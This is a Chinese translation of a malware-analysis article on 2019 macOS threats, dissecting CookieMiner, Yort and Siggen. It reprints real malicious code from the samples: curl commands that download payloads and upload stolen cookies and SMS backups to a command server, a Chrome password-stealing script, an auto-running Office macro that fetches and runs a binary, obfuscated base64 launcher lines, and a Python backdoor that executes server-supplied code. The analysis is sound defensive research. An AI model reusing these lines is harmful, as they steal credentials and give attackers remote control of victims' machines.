对2019全年的Mac恶意软件的全面分析(CookieMiner,Yort,Siggen) - 嘶吼 RoarTalk – 回归最本质的信息安全,互联网安全新媒体,4hou.com

对2019全年的Mac恶意软件的全面分析(CookieMiner,Yort,Siggen)

gejigeji 恶意软件 2020-01-09 10:05:00
收藏

导语:对2019全年的Mac恶意软件的全面分析(CookieMiner,Yort,Siggen)

360截图162906086310896.jpg

我们先按着时间顺序来捋一下今年出现的Mac恶意软件:

1.CookieMiner,2019年1月爆发,CookieMiner是一个也可以窃取用户cookie和密码的软件,专门用于窃取Mac平台上各种虚拟货币交换的数据。当然,窃取的数据主要是用户窃取虚拟货币的各种关项数据,进而访问受害者的在线帐户和钱包。

2. Yort,2019年3月爆发,黑客组织Lazarus Group开发的后门程序,针对加密货币业务。

3. Siggen,2019年4月爆发,一个macOS后门,可下载并执行(python)有效载荷。

4. BirdMiner,2019年6月爆发,基于Linux的cryptominer,可通过QEMU(一套由法布里斯•贝拉(Fabrice Bellard)所编写的以GPL许可证分发源码的模拟处理器,在GNU/Linux平台上使用广泛。)仿真在macOS上运行。

5. Netwire,2019年6月爆发,功能齐全的macOS后门,通过Firefox 0day安装。

6. Mokes.B,2019年6月爆发,功能齐全的macOS后门OSX.Mokes的新变种。

7. GMERA,2019年6月爆发,是由黑客组织Lazarus Group开发的,一种持续向远程攻击者暴露shell的木马。

8.黑客组织Lazarus Group新开发的一种(未命名),2019年10月爆发。

9. Yort.B,2019年11月爆发,黑客组织Lazarus Group新开发的Yort新变种,针对加密货币业务。

10.Lazarus Loader  ("macloader"),2019年12月爆发,黑客组织Lazarus Group开发的一种植入加载程序,能够直接从内存中执行远程有效载荷。

OSX.CookieMiner

CookieMiner是一种密码盗窃程序,可以窃取用户Cookie和密码,从而使攻击者访问受害者的在线帐户和钱包。

感染媒介:暂未查明

Palo Alto Networks的Unit 42发现了CookieMiner并撰写了有关该恶意软件的原始报告,但没有提及该恶意软件的初始感染媒介。而且Unit 42的威胁情报副总监詹•米勒-奥斯本(Jen Miller-Osborn)分析,研究人员不确定受害者是如何首先被shell脚本感染的,但他们怀疑受害者是从第三方商店下载恶意程序的。这意味着,CookieMiner的感染媒介仍然未知。

持久性的能力来自Launch Agent

Unit 42的报告所述,CookieMiner保留了两个Launch Agent。这是在感染的第一阶段通过一个名为uploadminer.sh的shell脚本执行的:

1...
2
3cd ~/Library/LaunchAgents
4curl -o com.apple.rig2.plist http://46.226.108.171/com.apple.rig2.plist
5curl -o com.proxy.initialize.plist http://46.226.108.171/com.proxy.initialize.plist
6launchctl load -w com.apple.rig2.plist
7launchctl load -w com.proxy.initialize.plist

脚本uploadminer.sh下载(通过curl),将两个属性列表下载到〜/ Library / LaunchAgents目录中。

第一个plist com.apple.rig2.plist保留一个名为xmrig2的二进制文件以及几个命令行参数:

image.png

第二个plist, com.proxy.initialize.plist保留各种内联python命令,这些命令似乎执行base64编码的数据块:

image.png

由于在此属性列表中还将RunAtLoad项也设置为true,因此,每次用户登录时,都会自动(重新)执行python命令。

这个过程是不是很熟悉?实际上,这正是OSX.DarthMiner持续存在的另一种方式。 这绝不是巧合,因为Unit 42报告指出:“ [CookieMiner]是由OSX.DarthMiner开发的,这是一种已知的针对Mac平台的恶意软件。

功能:加密、窃取Cookie和密码、后门攻击

CookieMiner可能是OSX.DarthMiner的演变版本,OSX.DarthMiner恶意软件被设计成模仿用来盗版各种Adobe应用程序的Adobe Zii工具,保留了众所周知的Empyre后门,通过com.proxy.initialize.plist文件和一个名为XMRig(通过com.apple.rig.plist)的加密货币挖掘二进制文件。而CookieMiner也可以做到这一点(尽管已将2添加到挖掘二进制文件和plist中):

XMRig-> xmrig2
com.apple.rig.plist-> com.apple.rig2.plist

持续安装其中的Empyre后门允许远程攻击在受感染的主机上运行任意命令。通过检查传递给持久性矿工二进制文件xmrig2的参数,它似乎正在挖掘Koto加密货币(Koto采用基于CPU的Yescrypt作为哈希算法,是一种更加民主的虚拟货币,即使在家用电脑和智能手机中也可以轻松参与采矿。):

image.png

CookieMiner最有趣的地方(也是它与OSX.DarthMiner的不同之处)在于其窃取密码的能力!在Unit 42的综合分析中,研究人员强调了CookieMiner捕获并分析出了以下被窃取的内容:

1.(浏览器)Cookie;

2.(浏览器)密码;

3.iPhone消息(来自iTunes备份);

4.实现了Cookie、密码和消息窃取功能,以允许攻击者绕过受害者在线加密货币帐户上的2FA保护;

基于以上事实,攻击者将可以完全访问受害者的兑换帐户或钱包,并能够像用户一样使用这些资金。

窃取这些信息的方法虽然足够,但并不复杂。例如,要从Safari中窃取Cookie,CookieMiner只需从〜/ Library / Cookies目录中复制Cookies.binarycookies文件,将其压缩,然后将其提取到攻击者的远程命令和控制服务器(46.226.108.171)即可:

1cd ~/Library/Cookies
2if grep -q "coinbase" "Cookies.binarycookies"; then
3mkdir ${OUTPUT}
4cp Cookies.binarycookies ${OUTPUT}/Cookies.binarycookies
5zip -r interestingsafaricookies.zip ${OUTPUT}
6curl --upload-file interestingsafaricookies.zip http://46.226.108.171:8000

但是请注意,只有当cookie文件(Cookies.binarycookies)包含与加密货币交换(例如Coinbase和Binance)关联的cookie时,它才会被盗。

另外,该恶意软件还通过python脚本从Google Chrome提取用户保存的密码和信用卡信息,比如CookieMiner下载了一个名为“harmlesslittlecode.py”的Python脚本,以从Chrome的本地数据存储中提取保存的登录凭据和信用卡信息。

1curl -o harmlesslittlecode.py http://46.226.108.171/harmlesslittlecode.py
2python harmlesslittlecode.py > passwords.txt 2>&1
1if __name__ == '__main__':
 2    root_path = "/Users/*/Library/Application Support/Google/Chrome"
 3    login_data_path = "{}/*/Login Data".format(root_path)
 4    cc_data_path = "{}/*/Web Data".format(root_path)
 5    chrome_data = glob.glob(login_data_path) + glob.glob(cc_data_path)
 6    safe_storage_key = subprocess.Popen(
 7        "security find-generic-password -wa "
 8        "'Chrome'",
 9        stdout=subprocess.PIPE,
10        stderr=subprocess.PIPE,
11        shell=True)
12    stdout, stderr = safe_storage_key.communicate()
13    ...
14    chrome(chrome_data, safe_storage_key)

最后,CookieMiner尝试从任何移动备份(在MobileSync / Backup中)查找并提取iPhone消息文件:

 1cd ~/Library/Application\ Support/MobileSync/Backup
 2BACKUPFOLDER="$(ls)"
 3cd ${BACKUPFOLDER}
 4SMSFILE="$(find . -name '3d0d7e5fb2ce288813306e4d4636395e047a3d28')"
 5cp ${SMSFILE} ~/Library/Application\ Support/Google/Chrome/Default/${OUTPUT}
 6
 7...
 8cd ~/Library/Application\ Support/Google/Chrome/Default/
 9zip -r ${OUTPUT}.zip ${OUTPUT}
10curl --upload-file ${OUTPUT}.zip http://46.226.108.171:8000

被攻击之后的浏览器Cookie、密码、甚至iPhone消息,即使部署了2FA,攻击者也可能能够访问受害者的加密货币帐户!

OSX.Yort

Yort是黑客组织Lazarus开发的(第一阶段?)的恶意植入程序,主要针对加密货币业务。

感染媒介:恶意Office文档

SecureList报告详细说明了攻击和Yort恶意软件,其中特别指出,攻击者通过精心准备的文档,将恶意软件传播了出去,这些文档会非常吸引加密货币专业人员的注意力。

研究人员通过分析其中一个恶意文件(샘플_기술사업계획서(벤처기업평가용).doc),并找到了嵌入式Mac专用的宏代码:

 1#If Mac Then
 2    #If VBA7 Then
 3
 4    Private Declare PtrSafe Function system Lib "libc.dylib" 
 5      (ByVal command As String) ...
 6    
 7    Private Declare PtrSafe Function popen Lib "libc.dylib" 
 8      (ByVal command As String, ByVal mode As String) As LongPtr
 9
10    #Else
11
12    Private Declare Function system Lib "libc.dylib" 
13      (ByVal command As String) As Long
14    Private Declare Function popen Lib "libc.dylib" 
15      (ByVal command As String, ByVal mode As String) As Long
16
17    #End If
18#End If
19
20Sub AutoOpen()
21On Error Resume Next
22#If Mac Then
23
24  sur = "https://nzssdm.com/assets/mt.dat"
25  spath = "/tmp/": i = 0
26  Do
27    spath = spath & Chr(Int(Rnd * 26) + 97): i = i + 1
28  Loop Until i > 12
29 
30  spath = spath
31
32  res = system("curl -o " & spath & " " & sur)
33  res = system("chmod +x " & spath)
34  res = popen(spath, "r")
35
36  ...

如果Mac用户在Microsoft Office中打开文档并启用宏,这些恶意宏将自动执行(通过AutoOpen()触发)以下功能。

1.从https://nzssdm.com/assets/mt.dat(通过curl)将文件下载到/ tmp /目录;

2.将其权限设置为可执行文件(通过chmod + x);

3.执行下载的文件mt.dat(通过popen);

4.有关此攻击中的恶意宏的更多详细信息,请参阅 “Lazarus Apt用恶意的Word文档攻击Mac用户”

没有持久性的攻击能力

似乎OSX.Yort没有持久存在的能力,但是,作为一种新开发的植入程序,可能不需要持久性。有研究人员分析,虽然恶意软件没有持久性,就可以执行任何命令,但攻击者可以在必要时决定是否执行持久性。

 功能:第一阶段的目标是实现植入功能,具有标准后门功能。

Yort(可能是第1阶段植入的载体)支持各种标准命令,例如文件下载、上传和执行任意命令。

使用macOS的内置文件实用程序,可以看出mt.dat是标准的64位macOS(Mach-O)可执行文件。

$ file Yort/A/mt.dat 
Yort/A/mt.dat: Mach-O 64-bit executable x86_64

字符串命令(使用-a标志执行)可以转储(ASCII)嵌入在二进制文件中的字符串。在OSX.Yort的案例中,这些字符串很能说明问题:

$ strings -a Yort/A/mt.dat 

cache-control: no-cache
content-type: multipart/form-data
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36

file
/bin/bash -c "
" > 
/tmp/
 2>&1

https://towingoperations.com/chat/chat.php
https://baseballcharlemagnelegardeur.com/wp-content/languages/common.php
https://www.tangowithcolette.com/pages/common.php

容易确认嵌入式URL是恶意软件的实际命令和控制服务器,因为在VM中执行时,恶意软件会尝试连接到以下地址以执行任务:

$ ./mt.dat 
* Trying 69.195.124.206...
* Connected to baseballcharlemagnelegardeur.com (69.195.124.206) port 443 (#0)
* SSL certificate problem: certificate has expired
* stopped the pause stream!
* Closing connection 0

另一个静态分析工具nm可以转储嵌入的符号,例如方法名称和导入的(系统)函数:

$ nm Yort/A/mt.dat
... 
00000001000010f0 T _MainLoop
0000000100001810 T _RecvBlockData
00000001000019d0 T _RecvBlockDataUncrypt
00000001000018f0 T _RecvBlockDataWithLimit
0000000100001a40 T _RecvBlockDataWithLimitUncrypt
0000000100002460 T _ReplyCmd
0000000100002360 T _ReplyDie
00000001000033c0 T _ReplyDown
0000000100003e20 T _ReplyExec
0000000100004180 T _ReplyGetConfig
0000000100002150 T _ReplyKeepAlive
0000000100002c20 T _ReplyOtherShellCmd
0000000100003fd0 T _ReplySessionExec
0000000100004410 T _ReplySetConfig
0000000100002240 T _ReplySleep
0000000100001f50 T _ReplyTroyInfo
0000000100003900 T _ReplyUpload

                 U _curl_easy_cleanup
                 U _curl_easy_init
                 U _curl_easy_perform
                 U _curl_easy_setopt
                 U _curl_formadd
                 U _curl_formfree
                 U _curl_global_cleanup
                 U _curl_global_init
                 U _curl_slist_append
                 U _curl_slist_free_all

                 U _fork
                 U _fwrite
                 U _kill
                 U _unlink
                 U _waitpid

根据此输出内容,似乎可以合理地假设恶意软件支持各种命令,这些命令在第一阶段植入或轻量级后门中相当常见。比如:

1.ReplyCmd:负责执行命令吗?

2.ReplyDie:扼杀植入载体?

3.ReplyOtherShellCmd:执行外壳命令?

4.ReplyDown:下载文件吗?

5.ReplyUpload:上传文件吗?

……

并且对curl_ * API的引用可能表明该恶意软件通过libcurl实现了其攻击逻辑,调试恶意软件(通过lldb)确认恶意软件确实利用了libcurl,例如,我们可以看到恶意软件通过curl_easy_setopt函数使用CURLOPT_URL(10002)参数设置其命令和控制服务器(baseballcharlemagnelegardeur.com)的URL:

$ lldb mt.dt

* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
  frame #0: 0x00007fff7d446b9b libcurl.4.dylib`curl_easy_setopt

(lldb) p $rsi
(unsigned long) $1 = 10002

(lldb) x/s $rdx
0x1000052a8: "https://baseballcharlemagnelegardeur.com/wp-content/languages/common.php"

然后,该恶意软件通过curl_easy_perform函数连接到指定的服务器。

如果恶意软件从命令和控制服务器接收到响应或任务,它将根据该响应(通过switch语句或跳转表)采取行动。在恶意软件的二进制文件中的地址0x0000000100004679处可以找到实现所接收命令委托的逻辑:

1cmp     eax, 17h        ; switch 24 cases
2ja      loc_100004A6D   ; jumptable 0000000100004693 default case
3lea     rcx, off_100004B60
4movsxd  rax, dword ptr [rcx+rax*4]
5add     rax, rcx
6mov     rbx, r15
7jmp     rax             ; switch jump

例如,对于case #19,恶意软件将执行ReplyDown命令:

1mov     ecx, 801h       ; jumptable 0000000100004693 case 19
2mov     rdi, rsp
3lea     rsi, [rbp-85A8h]
4rep movsq
5mov     eax, [rbp-45A0h]
6mov     [rsp+4008h], eax
7call    _ReplyDown

深入研究ReplyDown命令的反汇编结果,研究人员发现该恶意软件将调用以下函数:

1.拥有fopen的rb(“读取二进制”)参数;

2. fread;

3. fclose;

静态分析表明,此方法将从受感染的计算机将文件下载到服务器。

另一个例子是#case 22,它调用了ReplyExec函数。

1mov     ecx, 801h       ; jumptable 0000000100004693 case 22
2mov     rdi, rsp
3lea     rsi, [rbp-85A8h]
4rep movsq
5mov     eax, [rbp-45A0h]
6mov     [rsp+4008h], eax
7call    _ReplyExec

ReplyExec函数,顾名思义,可能会执行从服务器上传到客户端的命令或文件:

 1int _ReplyExec(int arg0, int arg1, ...) {
 2
 3  ...
 4
 5  rax = fork();
 6  if (rax == 0x0)
 7  {
 8      system(&var_4580);
 9      rax = exit(0x0);
10      return rax;
11  }

对其他Reply *命令的类似分析也确认了它们的描述性名称,符合其攻击逻辑。

有关mt.data函数的更多详细信息,请参见此文章

OSX.Siggen

Siggen被封装在伪造的WhatsApp应用程序中,是一个持久的后门,允许远程攻击者下载和执行(python)有效载荷。

感染媒介:恶意(伪造)WhatsApp应用程序

下图显示了如何诱骗用户手动下载并安装他们认为流行的WhatsApp消息传递应用程序:

20.jpeg

该下载文件是一个名为WhatsAppWeb.zip的zip压缩文件,它不是WhatsApp,而是一个名为WhatsAppService的应用程序

21.png

该WhatsAppService应用程序的特点如下:

1.未签名;

2.有一个PDF图标;

3.有一个名为DropBox的主要二进制文件,Dropbox(多宝箱)成立于2007年,提供免费和收费服务,在不同操作系统下有客户端软件,并且有网页客户端,能够将存储在本地的文件自动同步到云端服务器保存。

22.png

用户会被欺骗而运行它吗?通过Gatekeeper警报手动工作(因为应用程序是未签名的)?显然如此!

持久性攻击能力的来源:Launch Agent

如果用户被诱骗下载并运行WhatsAppService应用程序,它将永久安装Launch Agent。

WhatsAppService是使用Platypus构建的,这个合法的开发人员工具通过脚本创建了一个独立的应用程序。Platypus是一个开发人员工具,可通过命令行脚本(例如Shell脚本或Python,Perl,Ruby,Tcl,JavaScript和PHP程序)创建本地Mac应用程序,这是通过将脚本与运行脚本的应用二进制文件包装在macOS应用程序捆绑中来完成的。

这是相当流行的Mac恶意软件作创建脚本的过程,将其作为为本地macOS应用程序进行恶意传播。

例如,OSX.CreativeUpdate和OSX.Eleanor都使用了Platypus:

23.png

当执行“Platypus”应用程序时,它只需在应用程序的Resources目录中运行一个名为script的文件。

24.png

看看WhatsAppService.app/Resources/script文件,我们可以看到它保留了名为a.plist的Launch Agent:

1//Resources/script
2
3echo c2NyZWVuIC1kbSBiYXNoIC1jICdzbGVlcCA1O2tpbGxhbGwgVGVybWluYWwn | base64 -D | sh
4curl -s http://usb.mine.nu/a.plist -o ~/Library/LaunchAgents/a.plist
5echo Y2htb2QgK3ggfi9MaWJyYXJ5L0xhdW5jaEFnZW50cy9hLnBsaXN0 | base64 -D | sh
6launchctl load -w ~/Library/LaunchAgents/a.plist
7curl -s http://usb.mine.nu/c.sh -o /Users/Shared/c.sh
8echo Y2htb2QgK3ggL1VzZXJzL1NoYXJlZC9jLnNo | base64 -D | sh
9echo L1VzZXJzL1NoYXJlZC9jLnNo | base64 -D | sh

具体来说,它执行以下操作:curl -s http://usb.mine.nu/a.plist -o〜/ Library / LaunchAgents / a.plist

a.plist(从http://usb.mine.nu/下载)执行/Users/Shared/c.sh文件:

image.png

c.sh文件也可以通过WhatsAppService.app/Resources/script: curl -s http://usb.mine.nu/c.sh -o /Users/Shared/c.sh 下载。

由于每次用户登录时a.plist中的RunAtLoad项都设置为true,因此将自动(重新)执行c.sh。

功能:持久后门,下载并执行(python)有效载荷

回顾当用户启动WhatsAppService.app时运行的WhatsAppService.app/Resources/script。让我们分解一下此脚本的每一行:

1.echo c2NyZWVuIC1kbSBiYXNoIC1jICdzbGVlcCA1O2tpbGxhbGwgVGVybWluYWwn | base64 -D | sh 解码并执行screen -dm bash -c 'sleep 5;killall Terminal',该命令可有效终止任何正在运行的Terminal.app实例

2. curl -s http://usb.mine.nu/a.plist -o ~/Library/LaunchAgents/a.plist如前所述,下载a.plist并将其保留为Launch Agent。

3. echo Y2htb2QgK3ggfi9MaWJyYXJ5L0xhdW5jaEFnZW50cy9hLnBsaXN0 | base64 -D | sh解码并执行chmod +x ~/Library/LaunchAgents/a.plist,它(不必要)将a.plist设置为可执行文件。

4. launchctl load -w ~/Library/LaunchAgents/a.plist 加载一个试图执行/Users/Shared/c.sh的a.plist。但是,(第一次运行此程序)/Users/Shared/c.sh尚未下载。

5. curl -s http://usb.mine.nu/c.sh -o /Users/Shared/c.sh将c.sh下载到/Users/Shared/c.sh。

6.回echo Y2htb2QgK3ggL1VzZXJzL1NoYXJlZC9jLnNo | base64 -D | sh

解码并执行chmod +x /Users/Shared/c.sh,将c.sh设置为可执行文件。

7. echo L1VzZXJzL1NoYXJlZC9jLnNo | base64 -D | sh 解码并执行/Users/Shared/c.sh

/Users/Shared/c.sh的作用是什么?如下所示:

 1//Users/Shared/c.sh
 2
 3#!/bin/bash
 4v=$( curl --silent http://usb.mine.nu/p.php | grep -ic 'open' )
 5p=$( launchctl list | grep -ic "HEYgiNb" )
 6if [ $v -gt 0 ]; then
 7if [ ! $p -gt 0 ]; then
 8echo IyAtKi0gY29kaW5n...AgcmFpc2UK | base64 --decode | python
 9fi
10fi

在连接到usb.mine.nu/p.php并检查包含字符串“open”的响应并检查是否正在运行名为HEYgiNb的进程后,脚本将对一个大型的base64编码数据博客进行解码,然后通过python执行解码后的数据。

在按预期方式解码数据之后,果然是python代码:

 1# -*- coding: utf-8 -*-
 2import urllib2
 3from base64 import b64encode, b64decode
 4import getpass
 5from uuid import getnode
 6from binascii import hexlify
 7
 8def get_uid():
 9    return hexlify(getpass.getuser() + "-" + str(getnode()))
10
11LaCSZMCY = "Q1dG4ZUz"
12data = {
13    "Cookie": "session=" + b64encode(get_uid()) + "-eyJ0eXBlIj...ifX0=",
14    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36"
15}
16
17try:
18    request = urllib2.Request("http://zr.webhop.org:1337", headers=data)
19    urllib2.urlopen(request).read()
20except urllib2.HTTPError as ex:
21    if ex.code == 404:
22        exec(b64decode(ex.read().split("DEBUG:\n")[1].replace("DEBUG-->", "")))
23    else:
24        raise

经解码的Python代码与DrWeb分析中描述的HEYgiNb文件(“Mac.BackDoor.Siggen.20”)匹配,不知你还记得c.sh检查是否存在名为HEYgiNb的进程?

我们也可以在VirusTotal上找到此文件:HEYgiNb.py,注意,它被多个引擎标记:

31.png

仔细查看此python代码(HEYgiNb),我们看到Cookie参数包含很多base64编码的数据,我们可以对其进行解码:

{"type": 0, "payload_options": {"host": "zr.webhop.org", "port": 1337}, "loader_options": {"payload_filename": "yhxJtOS", "launch_agent_name": "com.apple.HEYgiNb", "loader_name": "launch_daemon", "program_directory": "~/Library/Containers/.QsxXamIy"}}

在端口1337上请求http://zr.webhop.org后,python代码base64解码并执行从服务器(404)响应中提取的数据:

exec(b64decode(ex.read().split("DEBUG:\n")[1].replace("DEBUG-->", ""))).

不幸的是,服务器http://zr.webhop.org不再提供该最后阶段的有效载荷。但是,进一步的分析表明,该脚本利用了Evil.OSX(一款功能强大的macOS远程管理工具)来安装后门。

当然,攻击者可以随时替换服务器端的python有效载荷,以在受感染的系统上执行所需的任何操作!

本文翻译自:https://objective-see.com/blog/blog_0x53.html如若转载,请注明原文地址
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论